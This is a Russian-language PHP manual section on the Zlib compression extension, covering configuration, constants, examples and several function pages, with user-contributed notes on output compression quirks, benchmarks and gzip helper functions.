    • zlib_encode — Сжатие данных с указанной кодировкой
    • zlib_get_coding_type — Возвращает способ кодирования, используемый для сжатия вывода
  • DeflateContext — Класс DeflateContext
  • InflateContext — Класс InflateContext

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль позволяет прозрачно читать и записывать сжатые файлы gzip (.gz), используя большинство функций файловой системы, которые работают с сжатыми файлами gzip (и несжатыми файлами тоже, но без использования сокетов).

Замечание:

PHP поставляется с fopen-обёрткой для .gz-файлов. Больше информации доступно в разделе о zlib://.

User Contributed Notes

Anon 17-Aug-2019 03:30
This introduction is incomplete because it lacks the information that the module can be used to use HTTP gzip compression with the 'zlib.output_compression' and  'zlib.output_compression_level' configuration settings.

Please be aware that cross-site scripting should be disabled when using HTTP compression because of possible BREACH attacks.


Требования

Модуль использует библиотеку » zlib, написанную Jean-loup Gailly и Mark Adler. Требуется zlib версии >= 1.2.0.4.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Поддержка Zlib в PHP отключена по умолчанию. Чтобы её включить, используйте опцию --with-zlib[=DIR] во время сборки.

Версия PHP для Windows имеет встроенную поддержку данного модуля. Это означает, что для использования данных функций не требуется загрузка никаких дополнительных модулей.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Модуль zlib предоставляет возможность сжатия передаваемых страниц (в т.ч. динамических) на лету, если браузер это поддерживает. За сжатие отвечают три параметра в конфигурационном файле php.ini.

Конфигурационные параметры Zlib
Имя | По умолчанию | Место изменения | Список изменений
zlib.output_compression | "0" | PHP_INI_ALL |
zlib.output_compression_level | "-1" | PHP_INI_ALL |
zlib.output_handler | "" | PHP_INI_ALL |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

zlib.output_compression bool/int

Следует ли сжимать страницы. Если значение равно "On" в php.ini (или в настройках Apache), страницы будут сжиматься, если браузер посылает заголовок "Accept-Encoding: gzip" или "deflate". При этом в вывод будут добавлены заголовки "Content-Encoding: gzip" (соответственно "deflate") и "Vary: Accept-Encoding". В режиме исполнения, заголовок должен быть установлен до момента отправки.

Эта опция также принимает целые числа вместо логических "On/Off", с помощью этого вы можете устанавливать размер выходного буфера (по умолчанию равен 4 КБ).

Замечание:

output_handler должен быть пустым, если выбрано значение 'On'! Вместо него следует использовать zlib.output_handler.

zlib.output_compression_level int

Уровень сжатия используется для прозрачного сжатия вывода. Укажите значение между 0 (без сжатия) и 9 (максимальное сжатие). По умолчанию значение -1 позволяет серверу решать, какой уровень использовать.

zlib.output_handler string

Если zlib.output_compression активирован, нельзя указывать дополнительные обработчики вывода. Этот параметр выполняет то же, что и output_handler, но в ином порядке.

User Contributed Notes

Anon 17-Aug-2019 04:01
Because of possible BREACH attacks when using output compression cross-site scripting should be disallowed. This can be achieved with the same-site cookie attribute:

https://www.sjoerdlangkemper.nl/2016/04/14/preventing-csrf-with-samesite-cookie-attribute/

https://caniuse.com/#feat=same-site-cookie-attribute
pacerier+php dot net at gmail dot com 03-Oct-2017 10:47
@finlanderid, Exactly. As output_handler and zlib.output_handler cant be both set (as per ""<output_handler must be empty if this is set 'On'>""), "different order" refers to?
galaxy 18-Jun-2015 10:49
finlanderid at gmail dot com,

you are mixing two separate things and consider them to be the same thing, hence the confusion.

There are two output_handlers:

1. http://php.net/manual/en/outcontrol.configuration.php#ini.output-handler

2. http://php.net/manual/en/zlib.configuration.php#ini.zlib.output-handler

Now, if you re-read your quotes again with this information it won't be confusing anymore :)
finlanderid at gmail dot com 21-Mar-2015 06:42
Does anyone find these two statements contradictory? Am I not understanding something, or are these statements actually contradicting each other?

Statement ONE from output_handler:
"output_handler must be empty if this [zlib.output_compression] is set 'On' ! Instead you must use zlib.output_handler."

Statement TWO from zlib.output_handler:
"You cannot specify additional output handlers if zlib.output_compression is activated ..."

Statement ONE says you have to use zlib.output_handler, if zlib.output_compression is turned ON. Statement TWO says that, if zlib.output_compression is turned ON, you cannot use zlib.output_handler.

what the heck?
scott at pawprint dot net 29-Feb-2012 06:19
In the hopes this will help others - a hard to spot gotcha when implementing zlib.output_compression. if you use flush() anywhere in your script (even right at the end) the compression won't work - you need to let that happen automatically or it ends up being sent uncompressed.


Типы ресурсов

Модуль определяет ресурс дескриптора, который возвращается функцией gzopen(). До PHP 8.0.0 также были определены ресурсы zlib.deflate и zlib.inflate.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

FORCE_GZIP (int)
FORCE_DEFLATE (int)
ZLIB_ENCODING_RAW (int)
Алгоритм компрессии DEFLATE по RFC 1951.
ZLIB_ENCODING_DEFLATE (int)
Алгоритм компрессии ZLIB по RFC 1950.
ZLIB_ENCODING_GZIP (int)
Алгоритм компрессии GZIP по RFC 1952.
ZLIB_FILTERED (int)
ZLIB_HUFFMAN_ONLY (int)
ZLIB_FIXED (int)
ZLIB_RLE (int)
ZLIB_DEFAULT_STRATEGY (int)
ZLIB_BLOCK (int)
ZLIB_NO_FLUSH (int)
ZLIB_PARTIAL_FLUSH (int)
ZLIB_SYNC_FLUSH (int)
ZLIB_FULL_FLUSH (int)
ZLIB_FINISH (int)

User Contributed Notes

diogoko at gmail dot com 15-May-2018 12:08
A tried at 3v4l.org and the first version to have the ZLIB_ENCODING_* constants was 5.4.0.
dave dot mariano1991 at gmail dot com 27-Sep-2017 01:04
I'm noticing that all the ZLIB_ENCODING_* constants are documented to exist as of PHP 7.0, but I seem to be able to use them in PHP 5.5.9.

Could someone please confirm this documentation?


Примеры

В этом примере открывается временный файл, в него записывается строка, а затем дважды выводится содержимое.

Пример #1 Пример использования Zlib

<?php

$filename = tempnam('/tmp', 'zlibtest') . '.gz';
echo "<html>\n<head></head>\n<body>\n<pre>\n";
$s = "Только тест, тест, тест, тест, тест, тест, тест, тест!\n";

// Открытие файла для записи с максимальным сжатием
$zp = gzopen($filename, "w9");

// Запись строки в файл
gzwrite($zp, $s);

// Закрытие файла
gzclose($zp);

// Открытие файла для чтения
$zp = gzopen($filename, "r");

// Чтение трёх символов
echo gzread($zp, 3);

// Вывод до конца файла, а затем закрытие файла
gzpassthru($zp);
gzclose($zp);

echo "\n";

// Открытие файла и вывод содержимого (во второй раз)
if (readgzfile($filename) != strlen($s)) {
echo "Возникла ошибка с функциями zlib!";
}
unlink($filename);
echo "</pre>\n</body>\n</html>\n";

?>

Пример #2 Работа с API инкрементального компрессии и декомпрессии

<?php

// Выполнение компрессии GZIP:
$deflateContext = deflate_init(ZLIB_ENCODING_GZIP);
$compressed = deflate_add($deflateContext, "Данные для сжатия", ZLIB_NO_FLUSH);
$compressed .= deflate_add($deflateContext, ", больше данных", ZLIB_NO_FLUSH);
$compressed .= deflate_add($deflateContext, "и ещё больше данных!", ZLIB_FINISH);

// Выполнение декомпрессии GZIP:
$inflateContext = inflate_init(ZLIB_ENCODING_GZIP);
$uncompressed = inflate_add($inflateContext, $compressed, ZLIB_NO_FLUSH);
$uncompressed .= inflate_add($inflateContext, NULL, ZLIB_FINISH);
echo $uncompressed;
?>

Результат выполнения данного примера:

Данные для сжатия, больше данных и ещё больше данных!

User Contributed Notes

There are no user contributed notes for this page.


Функции Zlib

Содержание

  • deflate_add — Инкрементальное сжатие данных
  • deflate_init — Инициализировать контекст инкрементального сжатия
  • gzclose — Закрыть указатель открытого gz-файла
  • gzcompress — Сжать строку
  • gzdecode — Декодирует строку, сжатую с помощью gzip
  • gzdeflate — Сжимает строку
  • gzencode — Создать сжатую строку gzip
  • gzeof — Проверяет, находится ли текущая позиция в конце (EOF) gz-файла
  • gzfile — Считывает весь gz-файл в массив
  • gzgetc — Получить символ из указателя на gz-файл
  • gzgets — Получить строку из указателя файла
  • gzgetss — Возвращает строку из указателя gz-файла и удалить HTML-теги
  • gzinflate — Распаковать сжатую строку
  • gzopen — Открыть gz-файл
  • gzpassthru — Вывод всех оставшихся данных из указателя gz-файла.
  • gzputs — Псевдоним gzwrite
  • gzread — Бинарное чтение gz-файла
  • gzrewind — Переместить позицию указатель gz-файла в начало
  • gzseek — Переместить указатель на позицию в указателе gz-файла
  • gztell — Возвращает текущую позицию чтения/записи в указателе gz-файла
  • gzuncompress — Распаковать сжатую строку
  • gzwrite — Бинарная запись в gz-файл
  • inflate_add — Инкрементальное распаковать закодированные данные
  • inflate_get_read_len — Получает количество прочитанных байт
  • inflate_get_status — Получает статус декомпрессии
  • inflate_init — Инициализация контекста инкрементальной распаковки
  • readgzfile — Выводит содержимое gz-файла
  • zlib_decode — Распаковывает любые закодированные данные raw/gzip/zlib
  • zlib_encode — Сжатие данных с указанной кодировкой
  • zlib_get_coding_type — Возвращает способ кодирования, используемый для сжатия вывода

User Contributed Notes

Robin Skoglund 04-Apr-2008 04:39
ini_set('zlib.output_compression', 'On') doesn't work

It says that zlib.output_compression is PHP_INI_ALL changable, but in my case at least, this is not true. When using ini_set('zlib.output_compression', 'On') runtime, phpinfo() states that zlib.output_compression is enabled, yet there is no compression.

Since I don't want to enable zlib.ouput_compression for all sites in php.ini, my solution was to enable it in apache conf (.htaccess should work as well) with the line:
php_flag zlib.output_compression on

Just spent hours figuring this out, so I hope it helps other people.

Btw, I'm using Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6.3.
Brian 25-Jun-2007 11:58
If you have zlib.output_compression set to on when your script starts (in php.ini or via apache directive), then you disable it at runtime using ini_set() before producing output, your output will still be buffered!  Even if you call ob_implicit_flush().

If you want unbuffered output, you must disable zlib.output_compression before your script starts (as well as mod_gzip of course, if you have both installed).

This behaviour experienced on Server: Apache/1.3.33 (Debian GNU/Linux) mod_gzip/1.3.26.1a PHP/4.3.10-18
anzenews at volja dot net 27-Jul-2006 06:59
php at seven dot net dot nz:
Have you been using register_shutdown_function() that outputs something? If yes, some of the output was not encoded and IE6 is less than forgiving about that. In my case it was reloading the page and sometimes showing a blank page. So IE6 does get invalid stream, bug is not bogus, only description is not good enough.

jpleveille at webgraphe dot com:
In PHP 4.4.2 register_shutdown_function() DOES output whatever you wish, but it is not encoded with the rest of the document. Which is even worse as you get a bug that is difficult / impossible to track down.
php at seven dot net dot nz 07-Jul-2006 01:49
zlib.output_compression has caused problems for me in IE 6, when pages are sometimes not displayed. This could be difficult to track down and PHP have no intention of fixing it, so hopefully you find this note in a search if it happens to you.

http://bugs.php.net/bug.php?id=38026
Arne dot Heizmann at csr dot com 23-May-2006 10:34
PHP Version 5.1.4 here. What Bob said is correct even in this version (newest at the time of writing). You can't enable zlib.output_compression via ini_set(). You have to use php.ini.
Bob 19-Sep-2005 06:45
Contrary to what the documentation says, I've been unable to get zlib.output_compression to work via ini_set() (Even though I put it at the very beginning of the file before any output was sent) as of php 4.3.11.  While it does get set to true, it will not actually do anything. Which means if you don't set this via php.ini or Apache configuration it's a no-go. I have to use ob_start("ob_gzhandler"); instead.
djmaze(AT)dragonflycms(.)org 27-Aug-2005 08:27
If you need to compress data and send it as "Content-disposition: attachment" and on-the-fly to the client due to the size for example (40Mb) here's a dirty trick using ob_gzhandler()

Keep in mind that $str is the content to output.

When you start the output call

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_START);
?>

Then to output any further content

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_CONT);
?>

And to close the output

<?php
echo ob_gzhandler('', PHP_OUTPUT_HANDLER_END);
exit;
?>

Only tested on Apache 1.3.33 with PHP 5.0.4
ghassler at speakeasy dot net 03-Jul-2005 09:45
I tested all the compression levels against a 22k page and here are the results I got (in bytes):

off = 22549
1 = 4297
2 = 4279
3 = 4264
4 = 4117
5 = 4097
6 = 4063
7 = 4011
8 = 3998
9 = 3996

Looks like the best bets for zlib.output_compression_level is 1 or 5.  The default of 6 is probably OK too.  Don't know what the CPU usage difference is between them all though.
jpleveille at webgraphe dot com 10-Jun-2005 06:08
register_shutdown_function() (http://www.php.net/register_shutdown_function) won't output anything if you use zlib.output_compression.

Shutdown function is called after closing all opened output buffers thus, for example, its output will not be compressed if zlib.output_compression is enabled.
admin_at_commandline_dot_ch 08-Oct-2004 05:32
My gzip function.

This function read, compress and writhe only small chunks at one time, this way you can compress big files without memory problems...

<?php
function gzip($src, $level = 5, $dst = false){
    if($dst == false){
        $dst = $src.".gz";
    }
    if(file_exists($src)){
        $filesize = filesize($src);
        $src_handle = fopen($src, "r");
        if(!file_exists($dst)){
            $dst_handle = gzopen($dst, "w$level");
            while(!feof($src_handle)){
                $chunk = fread($src_handle, 2048);
                gzwrite($dst_handle, $chunk);
            }
            fclose($src_handle);
            gzclose($dst_handle);
            return true;
        } else {
            error_log("$dst already exists");
        }
    } else {
        error_log("$src doesn't exist");
    }
    return false;
}
?>
gem at rellim dot com 13-Jul-2004 08:03
Run, do not walk, run, to add this to your Apache config file:

php_flag zlib.output_compression On
php_value zlib.output_compression_level 5

I just tried this and achieved 10x and 15x speed inprovement on
some mature php pages.  Pages I have been seating over to make 5% gains on.  I use microtime() on critical pages to help me track page speed and that confirms the speed improvement.  The php page takes a timestamp at the beginning and end, then logs the page duration.  So any IP transmission effects are not included.  There is
a clear subjective difference to the user.

The test system was PHP 4.3.6, Apache 2.0.49 over Linux 2.4.
As always YMMV.
zigazou at free dot fr 12-Jun-2004 03:44
If you use "zlib.output_compression = On" in your php.ini file, and activates output buffering (ob_start), don't output this header :
header('Content-Length: '.ob_get_length());

This is because ob_get_length() will return the uncompressed size while zlib will compress the output. Thus your browser will get confused waiting for extra data that will never come.
xorinox at tiscali dot ch 04-Jun-2004 07:52
Have a look to this extended version :)

<?php

function compress( $srcFileName, $dstFileName )
{
    // getting file content
    $fp = fopen( $srcFileName, "r" );
    $data = fread ( $fp, filesize( $srcFileName ) );
    fclose( $fp );

    // writing compressed file
    $zp = gzopen( $dstFileName, "w9" );
    gzwrite( $zp, $data );
    gzclose( $zp );
}

function uncompress( $srcFileName, $dstFileName, $fileSize )
{
    // getting content of the compressed file
    $zp = gzopen( $srcFileName, "r" );
    $data = fread ( $zp, $fileSize );
    gzclose( $zp );

    // writing uncompressed file
    $fp = fopen( $dstFileName, "w" );
    fwrite( $fp, $data );
    fclose( $fp );
}

compress( "tmp/supportkonzept.rtf", "tmp/_supportkonzept.rtf.gz" );
uncompress( "tmp/_supportkonzept.rtf.gz", "tmp/_supportkonzept.rtf", filesize( "tmp/supportkonzept.rtf" ) );

?>
ec10 at gmx dot net 20-May-2004 11:38
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @param string $param = "1"
 * @desc compressing the file with the zlib-extension
*/
function gzip ($in, $out, $param="1")
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = fopen ($in, "rb");
    if (!$out_file = gzopen ($out, "wb".$param)) {
        return false;
    }

    while (!feof ($in_file)) {
        $buffer = fgets ($in_file, 4096);
        gzwrite ($out_file, $buffer, 4096);
    }

    fclose ($in_file);
    gzclose ($out_file);

    return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the zlib-extension
*/
function gunzip ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = gzopen ($in, "rb");
    $out_file = fopen ($out, "wb");

    while (!gzeof ($in_file)) {
        $buffer = gzread ($in_file, 4096);
        fwrite ($out_file, $buffer, 4096);
    }

    gzclose ($in_file);
    fclose ($out_file);

    return true;
}
spam at wildpeaks dot com 13-May-2004 07:04
For decompressing, i modified a function posted earlier (that way $string doesn't have a big size that may be beyond the memory limit if the gzipped file is big) :

function file_ungzip($fromFile, $toFile) {
    $zp = @gzopen($fromFile, "r");
    $fp = @fopen($toFile, "w");
    while(!@gzeof($zp)) {$string = @gzread($zp, 4096); @fwrite($fp, $string, strlen($string));}
    @gzclose($zp);
    @fclose($fp);
}
thivierr at telus dot net 17-Nov-2003 04:02
I found the absolute easiest way to read a gzip file is as follows:

echo file_get_contents("compress.zlib:///myphp/test.txt.gz");

To create a gzip file:
file_put_contents("compress.zlib:///myphp/test.txt.gz","Put this in the file\r\n");

Things to note about this:
-The best prefix to use is "compress.zlib", not "zlib"
-If you wish to specify a path starting in the root path, you actually end up with three slashes.  The above path corresponds to "/myphp/test.txt" on unix, and "c:\myphp\test.txt" on Windows (if C: is the current drive).  I tested it just on Windows.
-Compression and decompression both use the same prefix of "compress.zlib://" (plus one more slash to get a root dir).
-I'm using 5.0, so I'm not 100% sure which behaviour started in which version.
chris at mad-teaparty dot com 27-May-2003 05:10
Nice function. I did it the other way round:

function uncompress($srcName, $dstName) {
   $zp = gzopen($srcName, "r");
   while(!gzeof($zp))
        $string .= gzread($zp, 4096);
   gzclose($zp);

   $fp = fopen($dstName, "w");
   fwrite($fp, $string, strlen($string));
   fclose($fp);
}

uncompress("./myfile.txt.gz", "./myfile.txt");

A shorter approach would be:

function uncompress($srcName, $dstName) {
  $string = implode("", gzfile($srcName));
  $fp = fopen($dstName, "w");
  fwrite($fp, $string, strlen($string));
  fclose($fp);
}
mlevy at rgj dot com 12-Feb-2003 02:06
If you turn zlib.output_compression_level on, be advised that you shouldn't try to flush() the output in your scripts. PHP will add the gzip header but send the output uncompressed, which plays havoc with Mozilla. IE seems to handle it, though.
monte at ispi dot net 18-Apr-2001 06:02
An alternate way to handle gzip compression is to let the mod_gzip module of apache handle it. This seems to contradict the tutorial on phpbuilder.com saying that it won't compress php (or any dynamic) output, but mod_gzip as of version 1.3.17.1a works well for me.

Here is an example of an httpd.conf setup:

<IfModule mod_gzip.c>
mod_gzip_on                 Yes
mod_gzip_dechunk            Yes
mod_gzip_minimum_file_size  300
mod_gzip_maximum_file_size  0
mod_gzip_maximum_inmem_size 100000
mod_gzip_keep_workfiles     No
mod_gzip_temp_dir           /tmp
mod_gzip_item_include       file \.html$
mod_gzip_item_include       file \.jsp$
mod_gzip_item_include       file \.php$
mod_gzip_item_include       file \.pl$
mod_gzip_item_include       mime ^text/.*
mod_gzip_item_include       mime ^application/x-httpd-php
mod_gzip_item_include       mime ^httpd/unix-directory$
mod_gzip_item_include       handler ^perl-script$
mod_gzip_item_include       handler ^server-status$
mod_gzip_item_include       handler ^server-info$
mod_gzip_item_exclude       mime ^image/.*
</IfModule>

This will automatically compress all output of your files with the .php extention or the x-httpd-php mime type. Be sure to have dechunk set to Yes.


Инкрементальное сжатие данных

  • « Функции Zlib
  • deflate_init »
  • PHP Manual
  • Функции Zlib
  • Инкрементальное сжатие данных

deflate_add

(PHP 7, PHP 8)

deflate_add — Инкрементальное сжатие данных

Описание

deflate_add(DeflateContext $context, string $data, int $flush_mode = ZLIB_SYNC_FLUSH): string|false

Инкрементальное сжатие данных в указанном контексте.

Список параметров

context

Контекст, созданный с помощью функции deflate_init().

data

Блок данных для сжатия.

flush_mode

Одна из констант: ZLIB_BLOCK, ZLIB_NO_FLUSH, ZLIB_PARTIAL_FLUSH, ZLIB_SYNC_FLUSH (по умолчанию), ZLIB_FULL_FLUSH, ZLIB_FINISH. Обычно требуется установить ZLIB_NO_FLUSH для максимальной компрессии и ZLIB_FINISH для завершения на последнем блоке данных. Детальное описание констант смотрите в » руководстве zlib.

Возвращаемые значения

Возвращает блок сжатых данных или false в случае возникновения ошибки.

Ошибки

В случае некорректных аргументов будет вызвана ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | context ожидает экземпляр DeflateContext; раньше, ожидался ресурс (resource).

Смотрите также

  • deflate_init() - Инициализировать контекст инкрементального сжатия

User Contributed Notes

douglasjam at gmail dot com 12-Jul-2018 10:03
Example about to use deflate functions to write a gzip encoded file in chunks.

<?php

$handler = fopen('/tmp/test.csv', 'w');
$deflateContext = deflate_init(ZLIB_ENCODING_GZIP, ['level' => 9]);

$strings = [
    'Hello, how are you?' . PHP_EOL,
    'I am fine thanks' . PHP_EOL,
    'Hello, how are you?' . PHP_EOL,
];

foreach ($strings as $string) {
    fwrite($handler, deflate_add($deflateContext, $string, ZLIB_NO_FLUSH));
}

fwrite($handler, deflate_add($deflateContext, '', ZLIB_FINISH));
fclose($handler);

echo gzdecode(file_get_contents('/tmp/test.csv'));


Инициализировать контекст инкрементального сжатия

  • « deflate_add
  • gzclose »
  • PHP Manual
  • Функции Zlib
  • Инициализировать контекст инкрементального сжатия

deflate_init

(PHP 7, PHP 8)

deflate_init — Инициализировать контекст инкрементального сжатия

Описание

deflate_init(int $encoding, array $options = []): DeflateContext|false

Инициализирует контекст инкрементального сжатия с использованием указанной кодировки encoding.

Обратите внимание, что опция window задаёт только размер окна алгоритма, в отличие от фильтров zlib, где одноимённая опция также используется для установки используемой кодировки; кодировка должна быть установлена с помощью параметра encoding.

Ограничения: в текущий момент невозможно установить информацию заголовка для сжатого потока GZIP, которая устанавливается следующим образом: подпись GZIP (\x1f\x8B); метод сжатия (\x08 == DEFLATE); 6 нулевых байтов; текущая операционная система (\x00 = Windows, \x03 = Unix и т.д.)

Список параметров

encoding

Одна из констант ZLIB_ENCODING_*.

options

Ассоциативный массив, который может содержать следующие элементы:

level

Уровень сжатия в диапазоне -1..9; по умолчанию -1.

memory

Уровень памяти сжатия в диапазоне 1..9; по умолчанию 8.

window

Размер окна zlib (логарифмический) в диапазоне 8..15; по умолчанию 15. zlib изменяет размер окна с 8 на 9, а с zlib 1.2.8 будет выдавать предупреждение, если запрашивается размер окна равный 8 для ZLIB_ENCODING_RAW или ZLIB_ENCODING_GZIP.

strategy

Одна из констант: ZLIB_FILTERED, ZLIB_HUFFMAN_ONLY, ZLIB_RLE, ZLIB_FIXED или ZLIB_DEFAULT_STRATEGY (по умолчанию).

dictionary

Строка или массив строк текущего словаря (по умолчанию предустановленного словаря нет).

Возвращаемые значения

Возвращает ресурс контекста сжатия (zlib.deflate) или false в случае возникновения ошибки.

Ошибки

Если в options была передана некорректная опция или контекст не может быть создан, то будет вызвана ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр DeflateContext; раньше, возвращался ресурс (resource).

Смотрите также

  • deflate_add() - Инкрементальное сжатие данных
  • inflate_init() - Инициализация контекста инкрементальной распаковки

User Contributed Notes

There are no user contributed notes for this page.


Закрыть указатель открытого gz-файла

  • « deflate_init
  • gzcompress »
  • PHP Manual
  • Функции Zlib
  • Закрыть указатель открытого gz-файла

gzclose

(PHP 4, PHP 5, PHP 7, PHP 8)

gzclose — Закрыть указатель открытого gz-файла

Описание

gzclose(resource $stream): bool

Закрывает открытый gz-файл по переданному указателю.

Список параметров

stream

Указатель на gz-файл. Должен указывать на файл, успешно открытый gzopen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gzclose()

<?php
$gz = gzopen('somefile.gz','w9');
gzputs ($gz, 'Добавлено в файл somefile.gz');
gzclose($gz);
?>

Смотрите также

  • gzopen() - Открыть gz-файл

User Contributed Notes

There are no user contributed notes for this page.


Сжать строку

  • « gzclose
  • gzdecode »
  • PHP Manual
  • Функции Zlib
  • Сжать строку

gzcompress

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

gzcompress — Сжать строку

Описание

gzcompress(string $data, int $level = -1, int $encoding = ZLIB_ENCODING_DEFLATE): string|false

Данная функция сжимает строку используя формат данных ZLIB.

Подробнее про алгоритм сжатия ZLIB смотрите документ "» Формат сжатия ZLIB. Спецификация версии 3.3" (RFC 1950).

Замечание:

Это не то же самое, что и gzip-сжатие, которое включает в себя некоторые данные заголовка. Информацию о gzip-сжатии смотрите gzencode().

Список параметров

data

Данные для сжатия.

level

Уровень сжатия. Целое число от 0 до 9 (0 - без сжатия, 9 - максимальное сжатие).

Если используется значение -1, то будет установлен принятый в библиотеке zlib по умолчанию уровень сжатия, который равен 6.

encoding

Одна из констант ZLIB_ENCODING_*.

Возвращаемые значения

Сжатая строка или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gzcompress()

<?php
$compressed = gzcompress('Сожми меня', 9);
echo $compressed;
?>

Смотрите также

  • gzdeflate() - Сжимает строку
  • gzinflate() - Распаковать сжатую строку
  • gzuncompress() - Распаковать сжатую строку
  • gzencode() - Создать сжатую строку gzip

User Contributed Notes

detain at interserver dot net 05-Sep-2017 12:16
gzipped strings include header/metadata you can use to determine if a string is gzipped or not , but since gzcompress does not include that I found myself needing a way to determine if a string was compressed or not.      After some research (and then improvements) i came up with this:

/**
 * determines if a string is a gzipped string supporting strings
 * encoded with either gzencode or gzcompress
 *
 * @param string $string the string to check for compression
 * @return bool whether or not the string was compmressed
 */
function is_gzipped($string) {
    return mb_strpos($string, "\x1f\x8b\x08", 'US-ASCII') === 0 && @gzuncompress($string) !== FALSE;
}
stockton at wowway dot com 29-Jun-2013 03:22
After some searching and experimentation I found that output generated with gzcompress() can be uncompressed by the objective c 'zlibInflate' wrapper for 'zlib' as available at http://cocoadev.com/wiki/NSDataCategory but that 'gzdeflate()' cannot. I hope this saves someone else the searching.
Eric 20-Oct-2011 10:10
Did some simple benchmarking of gzcompress() this morning on a lightly-loaded Fedora 12 server with an AMD Phenom II 940 (quad-core) rocking 8 gigs of ram and executing PHP 5.3.2.2 as an Apache module:

Compression benchmark: (level, time, size (%)):
0: 0.000373 - 82.08 kB (100.02%)
1: 0.000914 - 19.61 kB (23.90%)
2: 0.000951 - 18.88 kB (23.01%)
3: 0.000999 - 18.43 kB (22.46%)
4: 0.001498 - 17.65 kB (21.51%)
5: 0.001744 - 17.09 kB (20.82%)
6: 0.002060 - 16.88 kB (20.57%)
7: 0.002233 - 16.85 kB (20.53%)
8: 0.002808 - 16.71 kB (20.36%)
9: 0.002928 - 16.71 kB (20.36%)

The time code evaluates to:
1. Get start microtime
2. Call gzcompress
3. Get end microtime
4. Report average duration of 100 cycles

The 82.08 kB was a copied and pasted string of two actual, PHP-generated pages we use on our intranet. Running some rough calculations, the time it takes to compress the data at level 9 will never be larger than the time it takes to transmit slightly-less compressed data at levels 6 or lower. In other words, in our application, we have no reason not to fully-compress each PHP script's output.
Timo 07-Apr-2009 02:48
With PHP it is quite easy to modify SWF files. The compression algorithm of SWF is Zlib.

SWF default compression level is 6, at least Flash CS2 uses this level. I tested this by uncompressing compressed SWF file and then compressed the contents with levels 0-9. With level 6, the contents of files were identical.

Maybe it can be whatever else, but when trying to compare files at hex level or compare filesizes, it is easier to use the same level.
Samnan 07-Jan-2009 06:34
To properly use gzcompress to send compressed data to browsers that support it (most of modern browsers do, even mobile ones !), use this function (I dont think W3C validator issue mentioned earlier is valid ). use ob_start() at start of your script also

<?php
function print_gzipped_output()
{
    $HTTP_ACCEPT_ENCODING = $_SERVER["HTTP_ACCEPT_ENCODING"];
    if( headers_sent() )
        $encoding = false;
    else if( strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false )
        $encoding = 'x-gzip';
    else if( strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false )
        $encoding = 'gzip';
    else
        $encoding = false;

    if( $encoding )
    {
        $contents = ob_get_clean();
        $_temp1 = strlen($contents);
        if ($_temp1 < 2048)    // no need to waste resources in compressing very little data
            print($contents);
        else
        {
            header('Content-Encoding: '.$encoding);
            print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
            $contents = gzcompress($contents, 9);
            $contents = substr($contents, 0, $_temp1);
            print($contents);
        }
    }
    else
        ob_end_flush();
}
?>
plasma 06-Sep-2008 10:41
Here is a benchmark comparing strengths of bzip and gzip compression:

gz[0] - 1.647ms - 189058 Byte (100%)
gz[1] - 3.333ms - 44572 Byte (23.58%)
gz[2] - 3.519ms - 42685 Byte (22.58%)
gz[3] - 4.713ms - 40840 Byte (21.6%)
gz[4] - 5.274ms - 39111 Byte (20.69%)
gz[5] - 6.526ms - 37039 Byte (19.59%)
gz[6] - 8.036ms - 36206 Byte (19.15%)
gz[7] - 9.098ms - 35940 Byte (19.01%)
gz[8] - 12.87ms - 35713 Byte (18.89%)
gz[9] - 14.319ms - 35707 Byte (18.89%)

bz[1] - 40.282ms - 32247 Byte (17.06%)
bz[2] - 43.716ms - 29690 Byte (15.7%)
bz[3] - 43.765ms - 29690 Byte (15.7%)
bz[4] - 44.213ms - 29690 Byte (15.7%)
bz[5] - 43.704ms - 29690 Byte (15.7%)
bz[6] - 43.814ms - 29690 Byte (15.7%)
bz[7] - 43.934ms - 29690 Byte (15.7%)
bz[8] - 43.725ms - 29690 Byte (15.7%)
bz[9] - 45.129ms - 29690 Byte (15.7%)
prgTW at poczta dot onet dot pl 15-Feb-2006 05:57
I don't know why, but W3C Validator can't validate pages that are GZIP compressed (with functions posted below: gzcompress, pack etc.; not by ob_gzhandler).

Because of this, I use similar code to this below:

<?php
if( strstr($_SERVER['HTTP_USER_AGENT'], 'W3C_Validator')!==false || strstr($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')===false ){
  // do not compress
}else{
  // can send GZIP compressed data
}
?>

This code also checks if user agent is W3C Validator. If it is NOT W3C Validator and user acceptes GZIP encoded data then we can compress the page, in other case if it is W3C Validator or user agent does not accept GZIP enoded data we can't compress the page, 'cause user agent couldn't properly handle it.

Sorry for my bad English
Chris Watt 11-Oct-2005 06:26
